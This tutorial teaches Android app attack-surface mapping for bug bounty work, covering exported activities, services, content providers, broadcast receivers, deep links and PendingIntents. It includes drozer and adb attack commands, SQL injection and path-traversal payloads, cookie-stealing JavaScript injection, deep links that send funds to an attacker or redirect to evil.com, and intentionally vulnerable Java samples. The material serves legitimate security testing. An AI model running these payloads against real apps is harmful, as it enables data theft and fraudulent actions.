Tutorial

Attack Surface Mapping: Intents, Content Providers, and Deep Links

Enumerate an Android app's exposed components: exported activities, services, content providers, broadcast receivers, and deep link handlers.

2 min read intermediate
Android Bug Bounty IPC Attack Surface Intents Content Providers

Prerequisites

  • Completed the Lab Setup and Static Analysis tutorials
  • Understanding of the AndroidManifest.xml structure
  • ADB familiarity

Part 4 of 5 in Android Bug Bounty: Zero to Zero-Day

Table of Contents

Android apps are not monoliths. They’re built from loosely-coupled components (activities, services, broadcast receivers, and content providers) that communicate through a message-passing system called Intents. When these components are exported (accessible to other apps), they become attack surface. This tutorial teaches you to systematically find and test every exposed entry point.

Android’s IPC Model

All inter-component communication on Android flows through the Binder IPC mechanism in the kernel. When an app sends an Intent to start an activity or query a content provider, that request passes through the system’s ActivityManager or other system services:

  App A (attacker)              System                    App B (target)
 ┌──────────────┐    Intent   ┌──────────────┐  Binder  ┌──────────────┐
 │              │────────────→│              │─────────→│              │
 │  startActivity()           │ Activity     │          │  Exported    │
 │  sendBroadcast()           │ Manager      │          │  Activity    │
 │  query()                   │ Service      │          │  Receiver    │
 │              │←────────────│              │←─────────│  Provider    │
 │              │   result    │              │  result  │  Service     │
 └──────────────┘             └──────────────┘          └──────────────┘

The four component types:

  • Activities: screens the user interacts with. Exported activities can be launched by other apps.
  • Services: background work. Exported services can be bound to or started by other apps.
  • Broadcast Receivers: listen for system or app events. Exported receivers can receive broadcasts from any app.
  • Content Providers: structured data interfaces. Exported providers can be queried by other apps.

For activities, services, and broadcast receivers, a component is exported when:

  1. android:exported="true" is set explicitly, or
  2. The component has an <intent-filter> and the app targets below Android 12 (API 31), where intent filters historically implied external reachability.

Apps targeting Android 12 or higher must explicitly declare android:exported for activities, services, and receivers that have intent filters, or the app will not install. Content providers are different: provider exposure is controlled by the <provider> element, not by activity-style intent filters. For providers, android:exported="true" exposes the provider subject to its read/write permissions. Devices running API 16 or lower behave as though providers are exported; for apps targeting API 17 or higher on API 17+ devices, the default is false when the attribute is omitted.

Enumerating Exported Components

From the Manifest

After decompiling with apktool d target.apk, search the manifest:

# Find all exported components
grep -n 'exported="true"' target_decoded/AndroidManifest.xml

# Find all intent filters (implicit exports)
grep -B2 'intent-filter' target_decoded/AndroidManifest.xml

With drozer

drozer provides purpose-built commands for attack surface enumeration:

# Overall attack surface summary
dz> run app.package.attacksurface com.target.app

Attack Surface:
  3 activities exported
  1 broadcast receivers exported
  2 content providers exported
  1 services exported

# List exported activities with details
dz> run app.activity.info -a com.target.app

Package: com.target.app
  com.target.app.MainActivity
    Permission: null
  com.target.app.admin.AdminPanelActivity
    Permission: null
  com.target.app.DeepLinkActivity
    Permission: null

# List exported providers
dz> run app.provider.info -a com.target.app

Package: com.target.app
  Authority: com.target.app.provider
    Read Permission: null
    Write Permission: null
    Content Provider: com.target.app.data.UserProvider
    Multiprocess Allowed: False
    Grant Uri Permissions: True

# List exported receivers
dz> run app.broadcast.info -a com.target.app

# List exported services
dz> run app.service.info -a com.target.app

With ADB

# Dump full package info including components and permissions
adb shell dumpsys package com.target.app

Look for the Activity, Service, Receiver, and Provider sections in the output, and check the exported=true flag on each.

Exploiting Exported Activities

Exported activities are the easiest to test. You can launch them directly with am start:

# Launch an activity by component name
adb shell am start -n com.target.app/.admin.AdminPanelActivity

# Pass extras (key-value data) to the activity
adb shell am start -n com.target.app/.TransferActivity \
  --es "recipient" "attacker@evil.com" \
  --ei "amount" 10000

# Pass a data URI
adb shell am start -n com.target.app/.WebViewActivity \
  -d "https://evil.com/payload.html"

Common vulnerability patterns:

Authentication Bypass

If an internal activity (settings, admin panel, account management) is exported without requiring authentication:

# Does this skip the login screen?
adb shell am start -n com.target.app/.internal.AccountSettingsActivity

If the activity opens without asking for credentials, that’s a finding.

Intent Extra Injection

Activities that read extras without validation can be manipulated:

// Vulnerable: loads URL from intent without validation
String url = getIntent().getStringExtra("url");
webView.loadUrl(url);  // Attacker controls what URL is loaded
adb shell am start -n com.target.app/.WebViewActivity \
  --es url "javascript:alert(document.cookie)"

Content Provider Attacks

Content providers expose structured data through content:// URIs. When exported without proper permissions, they’re essentially unauthenticated database endpoints.

Querying Providers

# Query all rows from a provider
adb shell content query --uri content://com.target.app.provider/users

# Query with a selection (WHERE clause)
adb shell content query --uri content://com.target.app.provider/users \
  --where "role='admin'"

With drozer:

# Enumerate queryable URIs
dz> run scanner.provider.finduris -a com.target.app

Scanning com.target.app...
  content://com.target.app.provider/users
  content://com.target.app.provider/transactions
  content://com.target.app.provider/settings

# Query a URI
dz> run app.provider.query content://com.target.app.provider/users

SQL Injection

If the content provider passes user input directly into SQL queries:

# Projection-based injection (column list)
dz> run app.provider.query content://com.target.app.provider/users \
  --projection "* FROM sqlite_master--"

# Selection-based injection (WHERE clause)
dz> run app.provider.query content://com.target.app.provider/users \
  --selection "1=1) UNION SELECT sql,2,3 FROM sqlite_master--"

The vulnerable Java code behind this:

// Vulnerable: projection inserted directly into SQL
@Override
public Cursor query(Uri uri, String[] projection, String selection,
                    String[] selectionArgs, String sortOrder) {
    SQLiteDatabase db = dbHelper.getReadableDatabase();
    // projection is attacker-controlled — SQL injection
    return db.query("users", projection, selection, selectionArgs, null, null, sortOrder);
}

Path Traversal

Content providers that serve files can be vulnerable to path traversal:

// Vulnerable: no path validation
@Override
public ParcelFileDescriptor openFile(Uri uri, String mode) {
    File file = new File(getContext().getFilesDir(), uri.getLastPathSegment());
    return ParcelFileDescriptor.open(file, ParcelFileDescriptor.MODE_READ_ONLY);
}

With drozer, which constructs the Uri programmatically and preserves the encoded segments:

dz> run app.provider.read content://com.target.app.provider/..%2fshared_prefs%2fauth.xml

The adb shell content read command can also work, but whether it preserves percent-encoding when building the Uri depends on the Android version and the content tool implementation. If adb doesn’t traverse, fall back to drozer or a small PoC app that calls openFile() directly.

Exported Service Abuse

Exported services are less visible than activities because they usually have no UI. They are still attack surface: a service might sync data, process commands, write files, or expose a Binder interface.

Starting Services

For started services, use am startservice:

# Start an exported service by component name
adb shell am startservice -n com.target.app/.services.SyncService

# Pass attacker-controlled extras
adb shell am startservice -n com.target.app/.services.CommandService \
  --es command "dump_database" \
  --ez debug true

# Foreground services on newer Android versions
adb shell am start-foreground-service -n com.target.app/.services.LocationUploadService

# Stop a service after testing
adb shell am stopservice -n com.target.app/.services.SyncService

Common findings include debug or admin services left exported, services that trust intent extras as commands, and services that perform privileged operations without checking the caller.

Bound Services and AIDL

Plain adb is enough for started services, but it cannot fully exercise a bound service interface. If the service exposes AIDL or a custom Binder API, you need a client that binds to the service and calls its methods. drozer can cover many simple cases; for complex interfaces, write a small PoC app that calls bindService(), obtains the Binder object, and invokes the exported methods.

Look for these patterns in decompiled code:

// Suspicious: exported bound service returns a Binder without caller checks
@Override
public IBinder onBind(Intent intent) {
    return new AdminBinder();
}

If the Binder methods change account state, return private data, or trigger privileged workflows without checking permissions or caller identity, treat the service as high priority.

Broadcast Receiver Abuse

Sending Broadcasts

# Send a broadcast with an action string
adb shell am broadcast -a com.target.app.ACTION_RESET_PASSWORD \
  --es email "victim@example.com"

# Send to a specific component
adb shell am broadcast -n com.target.app/.receivers.DebugReceiver \
  --es command "dump_database"

Sniffing Broadcasts

Apps that send sensitive data via implicit broadcasts (without specifying a target) are leaking information to any app that registers a receiver for that action:

// Vulnerable: broadcasting sensitive data implicitly
Intent intent = new Intent("com.target.app.USER_LOGGED_IN");
intent.putExtra("auth_token", token);
sendBroadcast(intent);  // Any app can receive this

Ordered Broadcast Hijacking

Ordered broadcasts are delivered to receivers one at a time, and historically android:priority let a malicious receiver run before the intended receiver, intercepting or modifying the result data:

<!-- Malicious receiver with high priority -->
<receiver android:name=".HijackReceiver">
    <intent-filter android:priority="999">
        <action android:name="com.target.app.SMS_VERIFICATION" />
    </intent-filter>
</receiver>

From Android 16 (API 36) onward, the android:priority attribute on a manifest-declared <intent-filter> is clamped between -999 and 999 across process boundaries — values outside that range are coerced, and cross-process ordering is treated as a hint rather than a guarantee. Within a single app process (or for runtime-registered receivers in the same UID), android:priority still controls dispatch order normally. So this bug class hasn’t disappeared: it remains exploitable on older devices, in legacy apps with low targetSdkVersion, and against ordered broadcasts handled inside one app’s own receivers. Verify the device API level and the target’s targetSdkVersion before deciding whether priority-based hijacking is in scope.

Deep links let external apps or web pages open specific screens in the app.

From the manifest, find <intent-filter> entries with VIEW actions and <data> elements:

<activity android:name=".DeepLinkActivity" android:exported="true">
    <intent-filter>
        <action android:name="android.intent.action.VIEW" />
        <category android:name="android.intent.category.DEFAULT" />
        <category android:name="android.intent.category.BROWSABLE" />
        <data android:scheme="myapp" android:host="transfer" />
        <data android:scheme="https" android:host="app.target.com"
              android:pathPrefix="/open" />
    </intent-filter>
</activity>
# Custom scheme
adb shell am start -a android.intent.action.VIEW \
  -d "myapp://transfer?to=attacker&amount=9999"

# HTTPS web link
adb shell am start -a android.intent.action.VIEW \
  -d "https://app.target.com/open/profile?id=1337"

An HTTPS deep link becomes an Android App Link only when the app uses android:autoVerify="true" and the domain publishes a matching Digital Asset Links file at /.well-known/assetlinks.json. Without that verified association, treat it as a web link: the system may route it to a browser, show a chooser, or open the app depending on Android version and user defaults.

Missing input validation: the app blindly trusts deep link parameters:

// Vulnerable: no validation on transfer parameters
String to = uri.getQueryParameter("to");
String amount = uri.getQueryParameter("amount");
performTransfer(to, Integer.parseInt(amount));  // CSRF-like via deep link

Open redirect: a deep link parameter controls where the user navigates:

adb shell am start -a android.intent.action.VIEW \
  -d "myapp://redirect?url=https://evil.com/phishing"

JavaScript injection in WebView-backed deep links:

adb shell am start -a android.intent.action.VIEW \
  -d "myapp://webview?url=javascript:alert(document.cookie)"

Pending Intent Vulnerabilities

A PendingIntent wraps an Intent and grants another app permission to send it on your behalf. When constructed carelessly, they can be hijacked.

The dangerous pattern: an implicit PendingIntent with FLAG_MUTABLE:

// Vulnerable: mutable implicit PendingIntent
Intent intent = new Intent("com.target.app.ACTION_COMPLETE");
PendingIntent pi = PendingIntent.getBroadcast(
    this, 0, intent,
    PendingIntent.FLAG_MUTABLE  // Attacker can modify the Intent
);

An attacker who receives this PendingIntent (e.g., through a notification or IPC) can modify the base Intent to redirect it to their own component, inheriting the sender’s identity and permissions.

Note

Mitigation

Up through Android 11, PendingIntents are mutable by default unless the app sets FLAG_IMMUTABLE. Starting with Android 12, apps must explicitly specify either FLAG_IMMUTABLE or FLAG_MUTABLE. Prefer FLAG_IMMUTABLE; use FLAG_MUTABLE only when the receiver genuinely needs to fill in or modify fields, such as inline replies. On Android 14 and later, apps targeting that SDK cannot create a mutable PendingIntent wrapping an implicit Intent unless they opt into the unsafe behavior with FLAG_ALLOW_UNSAFE_IMPLICIT_INTENT.

Building an Attack Surface Map

After enumerating everything, organize your findings into a structured map. For each exposed component, document:

ComponentTypePermissionInputsPotential Impact
AdminPanelActivityActivityNoneNone requiredAuth bypass: direct access to admin
UserProviderProviderNone (r/w)content:// URI, projection, selectionData leak, SQL injection
DebugReceiverReceiverNoneAction + extrasCommand injection, data dump
DeepLinkActivityActivityNoneURI parametersOpen redirect, CSRF, XSS

Prioritize targets: unauthenticated components with high-impact operations first.

Exercises

  1. Full enumeration. Use drozer to enumerate all exported components of InsecureBankv2. Document the complete attack surface in a table.

  2. Content provider SQL injection. Find and exploit a SQL injection in InsecureBankv2’s content provider. Extract the database schema via sqlite_master.

  3. Deep link abuse. Identify the deep link schemes in a sample app’s manifest and craft an intent that triggers an unintended action (e.g., transferring funds, changing settings).

  4. Automation script. Write a bash script that takes a package name and automatically enumerates all exported components using adb shell dumpsys, printing a summary attack surface report.

What’s next

In the next tutorial, WebView and Hybrid App Vulnerabilities, we’ll explore one of the most common and impactful bug classes in Android apps: JavaScript bridge abuse, file access in WebViews, and cross-site scripting in hybrid applications.